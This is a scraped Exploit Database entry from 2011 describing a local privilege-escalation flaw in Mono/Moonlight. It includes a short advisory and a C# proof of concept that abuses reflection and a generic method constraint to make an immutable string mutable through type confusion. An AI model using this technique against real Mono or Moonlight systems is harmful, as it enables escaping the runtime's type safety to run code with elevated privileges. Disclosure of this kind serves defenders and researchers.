Mono/Moonlight Generic Type Argument – Privilege Escalation

• Exploit Database
• 110 阅读

• 作者： Chris Howie
  日期： 2011-01-11
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/15974/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44

  Sources:https://www.chrishowie.com/2010/11/24/mutable-strings-in-mono/ https://www.securityfocus.com/bid/45051/info   Mono and Moonlight is prone to a local privilege-escalation vulnerability.   Local attackers can exploit this issue to execute arbitrary code with elevated privileges. Successful exploits will compromise the affected application and possibly the underlying computer.   PoC:   using System; using System.Reflection;   public class FakeString { public int length; public char start_char; }   public class TestCase { private static FakeString UnsafeConversion<T>(T thing) where T : FakeString { return thing; }   public static void Main() { var a = "foo"; var b = MakeMutable(a);   Console.WriteLine(a); b.start_char = &apos;b&apos;; Console.WriteLine(a); }   private static FakeString MakeMutable(string s) { var m = typeof(TestCase).GetMethod("UnsafeConversion", BindingFlags.NonPublic | BindingFlags.Static); var m2 = m.MakeGenericMethod(typeof(string));   var d = (Func<string, FakeString>)Delegate.CreateDelegate(typeof(Func<string, FakeString>), null, m2);   return d(s); } }